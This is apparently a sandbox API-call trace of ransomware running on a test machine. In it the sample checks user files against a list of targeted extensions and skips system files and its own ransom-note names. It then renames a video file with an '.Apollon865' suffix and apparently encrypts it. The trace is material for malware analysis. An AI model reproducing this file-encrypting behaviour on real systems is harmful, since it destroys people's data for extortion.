	[0086.119] lstrcmpiW (lpString1="avi", lpString2="abs") returned 1
	[0086.119] lstrlenW (lpString="abx") returned 3
	[0086.119] lstrcmpiW (lpString1="avi", lpString2="abx") returned 1
	[0086.119] lstrlenW (lpString="accdb") returned 5
	[0086.119] lstrcmpiW (lpString1="F.avi", lpString2="accdb") returned 1
	[0086.119] lstrlenW (lpString="accdc") returned 5
	[0086.119] lstrcmpiW (lpString1="F.avi", lpString2="accdc") returned 1
	[0086.119] lstrlenW (lpString="accde") returned 5
	[0086.119] lstrcmpiW (lpString1="F.avi", lpString2="accde") returned 1
	[0086.119] lstrlenW (lpString="accdr") returned 5
	[0086.119] lstrcmpiW (lpString1="F.avi", lpString2="accdr") returned 1
	[0086.119] lstrlenW (lpString="accdt") returned 5
	[0086.119] lstrcmpiW (lpString1="F.avi", lpString2="accdt") returned 1
	[0086.119] lstrlenW (lpString="accdw") returned 5
	[0086.119] lstrcmpiW (lpString1="F.avi", lpString2="accdw") returned 1
	[0086.119] lstrlenW (lpString="accft") returned 5
	[0086.119] lstrcmpiW (lpString1="F.avi", lpString2="accft") returned 1
	[0086.119] lstrlenW (lpString="adb") returned 3
	[0086.119] lstrcmpiW (lpString1="avi", lpString2="adb") returned 1
	[0086.119] lstrlenW (lpString="adb") returned 3
	[0086.120] lstrcmpiW (lpString1="avi", lpString2="adb") returned 1
	[0086.120] lstrlenW (lpString="ade") returned 3
	[0086.120] lstrcmpiW (lpString1="avi", lpString2="ade") returned 1
	[0086.120] lstrlenW (lpString="adf") returned 3
	[0086.120] lstrcmpiW (lpString1="avi", lpString2="adf") returned 1
	[0086.120] lstrlenW (lpString="adn") returned 3
	[0086.120] lstrcmpiW (lpString1="avi", lpString2="adn") returned 1
	[0086.120] lstrlenW (lpString="adp") returned 3
	[0086.120] lstrcmpiW (lpString1="avi", lpString2="adp") returned 1
	[0086.120] lstrlenW (lpString="alf") returned 3
	[0086.120] lstrcmpiW (lpString1="avi", lpString2="alf") returned 1
	[0086.120] lstrlenW (lpString="ask") returned 3
	[0086.120] lstrcmpiW (lpString1="avi", lpString2="ask") returned 1
	[0086.120] lstrlenW (lpString="btr") returned 3
	[0086.120] lstrcmpiW (lpString1="avi", lpString2="btr") returned -1
	[0086.120] lstrlenW (lpString="cat") returned 3
	[0086.120] lstrcmpiW (lpString1="avi", lpString2="cat") returned -1
	[0086.120] lstrlenW (lpString="cdb") returned 3
	[0086.120] lstrcmpiW (lpString1="avi", lpString2="cdb") returned -1
	[0086.120] lstrlenW (lpString="ckp") returned 3
	[0086.120] lstrcmpiW (lpString1="avi", lpString2="ckp") returned -1
	[0086.120] lstrlenW (lpString="cma") returned 3
	[0086.120] lstrcmpiW (lpString1="avi", lpString2="cma") returned -1
	[0086.120] lstrlenW (lpString="cpd") returned 3
	[0086.120] lstrcmpiW (lpString1="avi", lpString2="cpd") returned -1
	[0086.120] lstrlenW (lpString="dacpac") returned 6
	[0086.120] lstrcmpiW (lpString1="9F.avi", lpString2="dacpac") returned -1
	[0086.120] lstrlenW (lpString="dad") returned 3
	[0086.120] lstrcmpiW (lpString1="avi", lpString2="dad") returned -1
	[0086.120] lstrlenW (lpString="dadiagrams") returned 10
	[0086.120] lstrcmpiW (lpString1="HvUM9F.avi", lpString2="dadiagrams") returned 1
	[0086.120] lstrlenW (lpString="daschema") returned 8
	[0086.120] lstrcmpiW (lpString1="UM9F.avi", lpString2="daschema") returned 1
	[0086.120] lstrlenW (lpString="db-journal") returned 10
	[0086.120] lstrcmpiW (lpString1="HvUM9F.avi", lpString2="db-journal") returned 1
	[0086.120] lstrlenW (lpString="db-shm") returned 6
	[0086.120] lstrcmpiW (lpString1="9F.avi", lpString2="db-shm") returned -1
	[0086.121] lstrlenW (lpString="db-wal") returned 6
	[0086.121] lstrcmpiW (lpString1="9F.avi", lpString2="db-wal") returned -1
	[0086.121] lstrlenW (lpString="dbc") returned 3
	[0086.121] lstrcmpiW (lpString1="avi", lpString2="dbc") returned -1
	[0086.121] lstrlenW (lpString="dbs") returned 3
	[0086.121] lstrcmpiW (lpString1="avi", lpString2="dbs") returned -1
	[0086.121] lstrlenW (lpString="dbt") returned 3
	[0086.121] lstrcmpiW (lpString1="avi", lpString2="dbt") returned -1
	[0086.121] lstrlenW (lpString="dbv") returned 3
	[0086.121] lstrcmpiW (lpString1="avi", lpString2="dbv") returned -1
	[0086.121] lstrlenW (lpString="dbx") returned 3
	[0086.121] lstrcmpiW (lpString1="avi", lpString2="dbx") returned -1
	[0086.121] lstrlenW (lpString="dcb") returned 3
	[0086.121] lstrcmpiW (lpString1="avi", lpString2="dcb") returned -1
	[0086.121] lstrlenW (lpString="dct") returned 3
	[0086.121] lstrcmpiW (lpString1="avi", lpString2="dct") returned -1
	[0086.121] lstrlenW (lpString="dcx") returned 3
	[0086.121] lstrcmpiW (lpString1="avi", lpString2="dcx") returned -1
	[0086.121] lstrlenW (lpString="ddl") returned 3
	[0086.121] lstrcmpiW (lpString1="avi", lpString2="ddl") returned -1
	[0086.121] lstrlenW (lpString="dlis") returned 4
	[0086.121] lstrcmpiW (lpString1=".avi", lpString2="dlis") returned -1
	[0086.121] lstrlenW (lpString="dp1") returned 3
	[0086.121] lstrcmpiW (lpString1="avi", lpString2="dp1") returned -1
	[0086.121] lstrlenW (lpString="dqy") returned 3
	[0086.121] lstrcmpiW (lpString1="avi", lpString2="dqy") returned -1
	[0086.121] lstrlenW (lpString="dsk") returned 3
	[0086.121] lstrcmpiW (lpString1="avi", lpString2="dsk") returned -1
	[0086.121] lstrlenW (lpString="dsn") returned 3
	[0086.121] lstrcmpiW (lpString1="avi", lpString2="dsn") returned -1
	[0086.121] lstrlenW (lpString="dtsx") returned 4
	[0086.121] lstrcmpiW (lpString1=".avi", lpString2="dtsx") returned -1
	[0086.121] lstrlenW (lpString="dxl") returned 3
	[0086.121] lstrcmpiW (lpString1="avi", lpString2="dxl") returned -1
	[0086.121] lstrlenW (lpString="eco") returned 3
	[0086.121] lstrcmpiW (lpString1="avi", lpString2="eco") returned -1
	[0086.121] lstrlenW (lpString="ecx") returned 3
	[0086.122] lstrcmpiW (lpString1="avi", lpString2="ecx") returned -1
	[0086.122] lstrlenW (lpString="edb") returned 3
	[0086.122] lstrcmpiW (lpString1="avi", lpString2="edb") returned -1
	[0086.122] lstrlenW (lpString="epim") returned 4
	[0086.122] lstrcmpiW (lpString1=".avi", lpString2="epim") returned -1
	[0086.122] lstrlenW (lpString="fcd") returned 3
	[0086.122] lstrcmpiW (lpString1="avi", lpString2="fcd") returned -1
	[0086.122] lstrlenW (lpString="fdb") returned 3
	[0086.122] lstrcmpiW (lpString1="avi", lpString2="fdb") returned -1
	[0086.122] lstrlenW (lpString="fic") returned 3
	[0086.122] lstrcmpiW (lpString1="avi", lpString2="fic") returned -1
	[0086.122] lstrlenW (lpString="flexolibrary") returned 12
	[0086.122] lstrcmpiW (lpString1="PXHvUM9F.avi", lpString2="flexolibrary") returned 1
	[0086.122] lstrlenW (lpString="fm5") returned 3
	[0086.122] lstrcmpiW (lpString1="avi", lpString2="fm5") returned -1
	[0086.122] lstrlenW (lpString="fmp") returned 3
	[0086.122] lstrcmpiW (lpString1="avi", lpString2="fmp") returned -1
	[0086.122] lstrlenW (lpString="fmp12") returned 5
	[0086.122] lstrcmpiW (lpString1="F.avi", lpString2="fmp12") returned -1
	[0086.122] lstrlenW (lpString="fmpsl") returned 5
	[0086.122] lstrcmpiW (lpString1="F.avi", lpString2="fmpsl") returned -1
	[0086.122] lstrlenW (lpString="fol") returned 3
	[0086.122] lstrcmpiW (lpString1="avi", lpString2="fol") returned -1
	[0086.122] lstrlenW (lpString="fp3") returned 3
	[0086.122] lstrcmpiW (lpString1="avi", lpString2="fp3") returned -1
	[0086.122] lstrlenW (lpString="fp4") returned 3
	[0086.122] lstrcmpiW (lpString1="avi", lpString2="fp4") returned -1
	[0086.122] lstrlenW (lpString="fp5") returned 3
	[0086.122] lstrcmpiW (lpString1="avi", lpString2="fp5") returned -1
	[0086.122] lstrlenW (lpString="fp7") returned 3
	[0086.122] lstrcmpiW (lpString1="avi", lpString2="fp7") returned -1
	[0086.122] lstrlenW (lpString="fpt") returned 3
	[0086.122] lstrcmpiW (lpString1="avi", lpString2="fpt") returned -1
	[0086.122] lstrlenW (lpString="frm") returned 3
	[0086.122] lstrcmpiW (lpString1="avi", lpString2="frm") returned -1
	[0086.122] lstrlenW (lpString="gdb") returned 3
	[0086.122] lstrcmpiW (lpString1="avi", lpString2="gdb") returned -1
	[0086.123] lstrlenW (lpString="gdb") returned 3
	[0086.123] lstrcmpiW (lpString1="avi", lpString2="gdb") returned -1
	[0086.123] lstrlenW (lpString="grdb") returned 4
	[0086.123] lstrcmpiW (lpString1=".avi", lpString2="grdb") returned -1
	[0086.123] lstrlenW (lpString="gwi") returned 3
	[0086.123] lstrcmpiW (lpString1="avi", lpString2="gwi") returned -1
	[0086.123] lstrlenW (lpString="hdb") returned 3
	[0086.123] lstrcmpiW (lpString1="avi", lpString2="hdb") returned -1
	[0086.123] lstrlenW (lpString="his") returned 3
	[0086.123] lstrcmpiW (lpString1="avi", lpString2="his") returned -1
	[0086.123] lstrlenW (lpString="ib") returned 2
	[0086.123] lstrcmpiW (lpString1="vi", lpString2="ib") returned 1
	[0086.123] lstrlenW (lpString="idb") returned 3
	[0086.123] lstrcmpiW (lpString1="avi", lpString2="idb") returned -1
	[0086.123] lstrlenW (lpString="ihx") returned 3
	[0086.123] lstrcmpiW (lpString1="avi", lpString2="ihx") returned -1
	[0086.123] lstrlenW (lpString="itdb") returned 4
	[0086.123] lstrcmpiW (lpString1=".avi", lpString2="itdb") returned -1
	[0086.123] lstrlenW (lpString="itw") returned 3
	[0086.123] lstrcmpiW (lpString1="avi", lpString2="itw") returned -1
	[0086.123] lstrlenW (lpString="jet") returned 3
	[0086.123] lstrcmpiW (lpString1="avi", lpString2="jet") returned -1
	[0086.123] lstrlenW (lpString="jtx") returned 3
	[0086.123] lstrcmpiW (lpString1="avi", lpString2="jtx") returned -1
	[0086.123] lstrlenW (lpString="kdb") returned 3
	[0086.123] lstrcmpiW (lpString1="avi", lpString2="kdb") returned -1
	[0086.123] lstrlenW (lpString="kexi") returned 4
	[0086.123] lstrcmpiW (lpString1=".avi", lpString2="kexi") returned -1
	[0086.123] lstrlenW (lpString="kexic") returned 5
	[0086.123] lstrcmpiW (lpString1="F.avi", lpString2="kexic") returned -1
	[0086.123] lstrlenW (lpString="kexis") returned 5
	[0086.123] lstrcmpiW (lpString1="F.avi", lpString2="kexis") returned -1
	[0086.123] lstrlenW (lpString="lgc") returned 3
	[0086.123] lstrcmpiW (lpString1="avi", lpString2="lgc") returned -1
	[0086.123] lstrlenW (lpString="lwx") returned 3
	[0086.123] lstrcmpiW (lpString1="avi", lpString2="lwx") returned -1
	[0086.123] lstrlenW (lpString="maf") returned 3
	[0086.123] lstrcmpiW (lpString1="avi", lpString2="maf") returned -1
	[0086.123] lstrlenW (lpString="maq") returned 3
	[0086.124] lstrcmpiW (lpString1="avi", lpString2="maq") returned -1
	[0086.124] lstrlenW (lpString="mar") returned 3
	[0086.124] lstrcmpiW (lpString1="avi", lpString2="mar") returned -1
	[0086.124] lstrlenW (lpString="marshal") returned 7
	[0086.124] lstrcmpiW (lpString1="M9F.avi", lpString2="marshal") returned -1
	[0086.124] lstrlenW (lpString="mas") returned 3
	[0086.124] lstrcmpiW (lpString1="avi", lpString2="mas") returned -1
	[0086.124] lstrlenW (lpString="mav") returned 3
	[0086.124] lstrcmpiW (lpString1="avi", lpString2="mav") returned -1
	[0086.124] lstrlenW (lpString="maw") returned 3
	[0086.124] lstrcmpiW (lpString1="avi", lpString2="maw") returned -1
	[0086.124] lstrlenW (lpString="mdbhtml") returned 7
	[0086.124] lstrcmpiW (lpString1="M9F.avi", lpString2="mdbhtml") returned -1
	[0086.124] lstrlenW (lpString="mdn") returned 3
	[0086.124] lstrcmpiW (lpString1="avi", lpString2="mdn") returned -1
	[0086.124] lstrlenW (lpString="mdt") returned 3
	[0086.124] lstrcmpiW (lpString1="avi", lpString2="mdt") returned -1
	[0086.124] lstrlenW (lpString="mfd") returned 3
	[0086.124] lstrcmpiW (lpString1="avi", lpString2="mfd") returned -1
	[0086.124] lstrlenW (lpString="mpd") returned 3
	[0086.124] lstrcmpiW (lpString1="avi", lpString2="mpd") returned -1
	[0086.124] lstrlenW (lpString="mrg") returned 3
	[0086.124] lstrcmpiW (lpString1="avi", lpString2="mrg") returned -1
	[0086.124] lstrlenW (lpString="mud") returned 3
	[0086.124] lstrcmpiW (lpString1="avi", lpString2="mud") returned -1
	[0086.124] lstrlenW (lpString="mwb") returned 3
	[0086.124] lstrcmpiW (lpString1="avi", lpString2="mwb") returned -1
	[0086.124] lstrlenW (lpString="myd") returned 3
	[0086.124] lstrcmpiW (lpString1="avi", lpString2="myd") returned -1
	[0086.124] lstrlenW (lpString="ndf") returned 3
	[0086.124] lstrcmpiW (lpString1="avi", lpString2="ndf") returned -1
	[0086.124] lstrlenW (lpString="nnt") returned 3
	[0086.124] lstrcmpiW (lpString1="avi", lpString2="nnt") returned -1
	[0086.124] lstrlenW (lpString="nrmlib") returned 6
	[0086.124] lstrcmpiW (lpString1="9F.avi", lpString2="nrmlib") returned -1
	[0086.124] lstrlenW (lpString="ns2") returned 3
	[0086.124] lstrcmpiW (lpString1="avi", lpString2="ns2") returned -1
	[0086.124] lstrlenW (lpString="ns3") returned 3
	[0086.125] lstrcmpiW (lpString1="avi", lpString2="ns3") returned -1
	[0086.125] lstrlenW (lpString="ns4") returned 3
	[0086.125] lstrcmpiW (lpString1="avi", lpString2="ns4") returned -1
	[0086.125] lstrlenW (lpString="nsf") returned 3
	[0086.125] lstrcmpiW (lpString1="avi", lpString2="nsf") returned -1
	[0086.125] lstrlenW (lpString="nv") returned 2
	[0086.125] lstrcmpiW (lpString1="vi", lpString2="nv") returned 1
	[0086.125] lstrlenW (lpString="nv2") returned 3
	[0086.125] lstrcmpiW (lpString1="avi", lpString2="nv2") returned -1
	[0086.125] lstrlenW (lpString="nwdb") returned 4
	[0086.125] lstrcmpiW (lpString1=".avi", lpString2="nwdb") returned -1
	[0086.125] lstrlenW (lpString="nyf") returned 3
	[0086.125] lstrcmpiW (lpString1="avi", lpString2="nyf") returned -1
	[0086.125] lstrlenW (lpString="odb") returned 3
	[0086.125] lstrcmpiW (lpString1="avi", lpString2="odb") returned -1
	[0086.125] lstrlenW (lpString="odb") returned 3
	[0086.125] lstrcmpiW (lpString1="avi", lpString2="odb") returned -1
	[0086.125] lstrlenW (lpString="oqy") returned 3
	[0086.125] lstrcmpiW (lpString1="avi", lpString2="oqy") returned -1
	[0086.125] lstrlenW (lpString="ora") returned 3
	[0086.125] lstrcmpiW (lpString1="avi", lpString2="ora") returned -1
	[0086.125] lstrlenW (lpString="orx") returned 3
	[0086.125] lstrcmpiW (lpString1="avi", lpString2="orx") returned -1
	[0086.125] lstrlenW (lpString="owc") returned 3
	[0086.125] lstrcmpiW (lpString1="avi", lpString2="owc") returned -1
	[0086.125] lstrlenW (lpString="p96") returned 3
	[0086.125] lstrcmpiW (lpString1="avi", lpString2="p96") returned -1
	[0086.125] lstrlenW (lpString="p97") returned 3
	[0086.125] lstrcmpiW (lpString1="avi", lpString2="p97") returned -1
	[0086.125] lstrlenW (lpString="pan") returned 3
	[0086.125] lstrcmpiW (lpString1="avi", lpString2="pan") returned -1
	[0086.125] lstrlenW (lpString="pdb") returned 3
	[0086.125] lstrcmpiW (lpString1="avi", lpString2="pdb") returned -1
	[0086.125] lstrlenW (lpString="pdm") returned 3
	[0086.125] lstrcmpiW (lpString1="avi", lpString2="pdm") returned -1
	[0086.125] lstrlenW (lpString="pnz") returned 3
	[0086.125] lstrcmpiW (lpString1="avi", lpString2="pnz") returned -1
	[0086.126] lstrlenW (lpString="qry") returned 3
	[0086.126] lstrcmpiW (lpString1="avi", lpString2="qry") returned -1
	[0086.126] lstrlenW (lpString="qvd") returned 3
	[0086.126] lstrcmpiW (lpString1="avi", lpString2="qvd") returned -1
	[0086.126] lstrlenW (lpString="rbf") returned 3
	[0086.126] lstrcmpiW (lpString1="avi", lpString2="rbf") returned -1
	[0086.126] lstrlenW (lpString="rctd") returned 4
	[0086.126] lstrcmpiW (lpString1=".avi", lpString2="rctd") returned -1
	[0086.126] lstrlenW (lpString="rod") returned 3
	[0086.126] lstrcmpiW (lpString1="avi", lpString2="rod") returned -1
	[0086.126] lstrlenW (lpString="rodx") returned 4
	[0086.126] lstrcmpiW (lpString1=".avi", lpString2="rodx") returned -1
	[0086.126] lstrlenW (lpString="rpd") returned 3
	[0086.126] lstrcmpiW (lpString1="avi", lpString2="rpd") returned -1
	[0086.126] lstrlenW (lpString="rsd") returned 3
	[0086.126] lstrcmpiW (lpString1="avi", lpString2="rsd") returned -1
	[0086.126] lstrlenW (lpString="sas7bdat") returned 8
	[0086.126] lstrcmpiW (lpString1="UM9F.avi", lpString2="sas7bdat") returned 1
	[0086.126] lstrlenW (lpString="sbf") returned 3
	[0086.126] lstrcmpiW (lpString1="avi", lpString2="sbf") returned -1
	[0086.126] lstrlenW (lpString="scx") returned 3
	[0086.126] lstrcmpiW (lpString1="avi", lpString2="scx") returned -1
	[0086.126] lstrlenW (lpString="sdb") returned 3
	[0086.126] lstrcmpiW (lpString1="avi", lpString2="sdb") returned -1
	[0086.126] lstrlenW (lpString="sdc") returned 3
	[0086.126] lstrcmpiW (lpString1="avi", lpString2="sdc") returned -1
	[0086.126] lstrlenW (lpString="sdf") returned 3
	[0086.126] lstrcmpiW (lpString1="avi", lpString2="sdf") returned -1
	[0086.126] lstrlenW (lpString="sis") returned 3
	[0086.126] lstrcmpiW (lpString1="avi", lpString2="sis") returned -1
	[0086.126] lstrlenW (lpString="spq") returned 3
	[0086.126] lstrcmpiW (lpString1="avi", lpString2="spq") returned -1
	[0086.126] lstrlenW (lpString="te") returned 2
	[0086.126] lstrcmpiW (lpString1="vi", lpString2="te") returned 1
	[0086.126] lstrlenW (lpString="teacher") returned 7
	[0086.126] lstrcmpiW (lpString1="M9F.avi", lpString2="teacher") returned -1
	[0086.126] lstrlenW (lpString="tmd") returned 3
	[0086.127] lstrcmpiW (lpString1="avi", lpString2="tmd") returned -1
	[0086.127] lstrlenW (lpString="tps") returned 3
	[0086.127] lstrcmpiW (lpString1="avi", lpString2="tps") returned -1
	[0086.127] lstrlenW (lpString="trc") returned 3
	[0086.127] lstrcmpiW (lpString1="avi", lpString2="trc") returned -1
	[0086.127] lstrlenW (lpString="trc") returned 3
	[0086.127] lstrcmpiW (lpString1="avi", lpString2="trc") returned -1
	[0086.127] lstrlenW (lpString="trm") returned 3
	[0086.127] lstrcmpiW (lpString1="avi", lpString2="trm") returned -1
	[0086.127] lstrlenW (lpString="udb") returned 3
	[0086.127] lstrcmpiW (lpString1="avi", lpString2="udb") returned -1
	[0086.127] lstrlenW (lpString="udl") returned 3
	[0086.127] lstrcmpiW (lpString1="avi", lpString2="udl") returned -1
	[0086.127] lstrlenW (lpString="usr") returned 3
	[0086.127] lstrcmpiW (lpString1="avi", lpString2="usr") returned -1
	[0086.127] lstrlenW (lpString="v12") returned 3
	[0086.127] lstrcmpiW (lpString1="avi", lpString2="v12") returned -1
	[0086.127] lstrlenW (lpString="vis") returned 3
	[0086.127] lstrcmpiW (lpString1="avi", lpString2="vis") returned -1
	[0086.127] lstrlenW (lpString="vpd") returned 3
	[0086.127] lstrcmpiW (lpString1="avi", lpString2="vpd") returned -1
	[0086.127] lstrlenW (lpString="vvv") returned 3
	[0086.127] lstrcmpiW (lpString1="avi", lpString2="vvv") returned -1
	[0086.127] lstrlenW (lpString="wdb") returned 3
	[0086.127] lstrcmpiW (lpString1="avi", lpString2="wdb") returned -1
	[0086.127] lstrlenW (lpString="wmdb") returned 4
	[0086.127] lstrcmpiW (lpString1=".avi", lpString2="wmdb") returned -1
	[0086.127] lstrlenW (lpString="wrk") returned 3
	[0086.127] lstrcmpiW (lpString1="avi", lpString2="wrk") returned -1
	[0086.127] lstrlenW (lpString="xdb") returned 3
	[0086.127] lstrcmpiW (lpString1="avi", lpString2="xdb") returned -1
	[0086.127] lstrlenW (lpString="xld") returned 3
	[0086.127] lstrcmpiW (lpString1="avi", lpString2="xld") returned -1
	[0086.127] lstrlenW (lpString="xmlff") returned 5
	[0086.127] lstrcmpiW (lpString1="F.avi", lpString2="xmlff") returned -1
	[0086.127] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4MPXHvUM9F.avi.Apollon865") returned 62
	[0086.127] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4MPXHvUM9F.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\4mpxhvum9f.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4MPXHvUM9F.avi.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\4mpxhvum9f.avi.apollon865"), dwFlags=0x1) returned 1
	[0086.176] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4MPXHvUM9F.avi.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\4mpxhvum9f.avi.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0086.176] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=78372) returned 1
	[0086.176] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0086.177] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0086.177] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0086.177] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0086.177] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0086.177] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.178] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13530, lpName=0x0) returned 0x15c
	[0086.180] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x13530) returned 0x120000
	[0086.183] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0086.184] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0086.184] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0086.184] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0086.184] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0086.184] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0086.184] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0086.184] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0086.184] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0086.184] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0086.185] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0086.185] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0086.185] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0086.185] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0086.186] CloseHandle (hObject=0x15c) returned 1
	[0086.186] CloseHandle (hObject=0x9c) returned 1
	[0086.187] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0086.187] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0086.187] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0086.188] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef454640, ftCreationTime.dwHighDateTime=0x1d4c9c2, ftLastAccessTime.dwLowDateTime=0xd8f3e740, ftLastAccessTime.dwHighDateTime=0x1d4c7b8, ftLastWriteTime.dwLowDateTime=0xd8f3e740, ftLastWriteTime.dwHighDateTime=0x1d4c7b8, nFileSizeHigh=0x0, nFileSizeLow=0x11962, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="4_y wyQ22Oy80gsO.avi", cAlternateFileName="4_YWYQ~1.AVI")) returned 1
	[0086.188] lstrcmpiW (lpString1="4_y wyQ22Oy80gsO.avi", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0086.188] lstrcmpiW (lpString1="4_y wyQ22Oy80gsO.avi", lpString2="Apollon865.txt.exe") returned -1
	[0086.188] lstrcmpiW (lpString1="4_y wyQ22Oy80gsO.avi", lpString2=".") returned 1
	[0086.188] lstrcmpiW (lpString1="4_y wyQ22Oy80gsO.avi", lpString2="..") returned 1
	[0086.188] lstrcmpiW (lpString1="4_y wyQ22Oy80gsO.avi", lpString2="windows") returned -1
	[0086.188] lstrcmpiW (lpString1="4_y wyQ22Oy80gsO.avi", lpString2="bootmgr") returned -1
	[0086.188] lstrcmpiW (lpString1="4_y wyQ22Oy80gsO.avi", lpString2="temp") returned -1
	[0086.188] lstrcmpiW (lpString1="4_y wyQ22Oy80gsO.avi", lpString2="pagefile.sys") returned -1
	[0086.188] lstrcmpiW (lpString1="4_y wyQ22Oy80gsO.avi", lpString2="boot") returned -1
	[0086.188] lstrcmpiW (lpString1="4_y wyQ22Oy80gsO.avi", lpString2="ids.txt") returned -1
	[0086.188] lstrcmpiW (lpString1="4_y wyQ22Oy80gsO.avi", lpString2="ntuser.dat") returned -1
	[0086.188] lstrcmpiW (lpString1="4_y wyQ22Oy80gsO.avi", lpString2="perflogs") returned -1
	[0086.188] lstrcmpiW (lpString1="4_y wyQ22Oy80gsO.avi", lpString2="MSBuild") returned -1
	[0086.188] lstrlenW (lpString="4_y wyQ22Oy80gsO.avi") returned 20
	[0086.188] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\4MPXHvUM9F.avi") returned 51
	[0086.188] lstrcpyW (in: lpString1=0x119e652, lpString2="4_y wyQ22Oy80gsO.avi" | out: lpString1="4_y wyQ22Oy80gsO.avi") returned="4_y wyQ22Oy80gsO.avi"
	[0086.188] lstrlenW (lpString="4_y wyQ22Oy80gsO.avi") returned 20
	[0086.188] lstrlenW (lpString="Apollon865") returned 10
	[0086.188] lstrcmpiW (lpString1="y80gsO.avi", lpString2="Apollon865") returned 1
	[0086.188] lstrlenW (lpString=".dll") returned 4
	[0086.188] lstrcmpiW (lpString1="4_y wyQ22Oy80gsO.avi", lpString2=".dll") returned 1
	[0086.188] lstrlenW (lpString=".lnk") returned 4
	[0086.188] lstrcmpiW (lpString1="4_y wyQ22Oy80gsO.avi", lpString2=".lnk") returned 1
	[0086.188] lstrlenW (lpString=".ini") returned 4
	[0086.188] lstrcmpiW (lpString1="4_y wyQ22Oy80gsO.avi", lpString2=".ini") returned 1
	[0086.188] lstrlenW (lpString=".sys") returned 4
	[0086.188] lstrcmpiW (lpString1="4_y wyQ22Oy80gsO.avi", lpString2=".sys") returned 1
	[0086.188] lstrlenW (lpString="4_y wyQ22Oy80gsO.avi") returned 20
	[0086.189] lstrlenW (lpString="bak") returned 3
	[0086.189] lstrcmpiW (lpString1="avi", lpString2="bak") returned -1
	[0086.189] lstrlenW (lpString="ba_") returned 3
	[0086.189] lstrcmpiW (lpString1="avi", lpString2="ba_") returned -1
	[0086.189] lstrlenW (lpString="dbb") returned 3
	[0086.189] lstrcmpiW (lpString1="avi", lpString2="dbb") returned -1
	[0086.189] lstrlenW (lpString="vmdk") returned 4
	[0086.189] lstrcmpiW (lpString1=".avi", lpString2="vmdk") returned -1
	[0086.189] lstrlenW (lpString="rar") returned 3
	[0086.189] lstrcmpiW (lpString1="avi", lpString2="rar") returned -1
	[0086.189] lstrlenW (lpString="zip") returned 3
	[0086.189] lstrcmpiW (lpString1="avi", lpString2="zip") returned -1
	[0086.189] lstrlenW (lpString="tgz") returned 3
	[0086.189] lstrcmpiW (lpString1="avi", lpString2="tgz") returned -1
	[0086.189] lstrlenW (lpString="vbox") returned 4
	[0086.189] lstrcmpiW (lpString1=".avi", lpString2="vbox") returned -1
	[0086.189] lstrlenW (lpString="vdi") returned 3
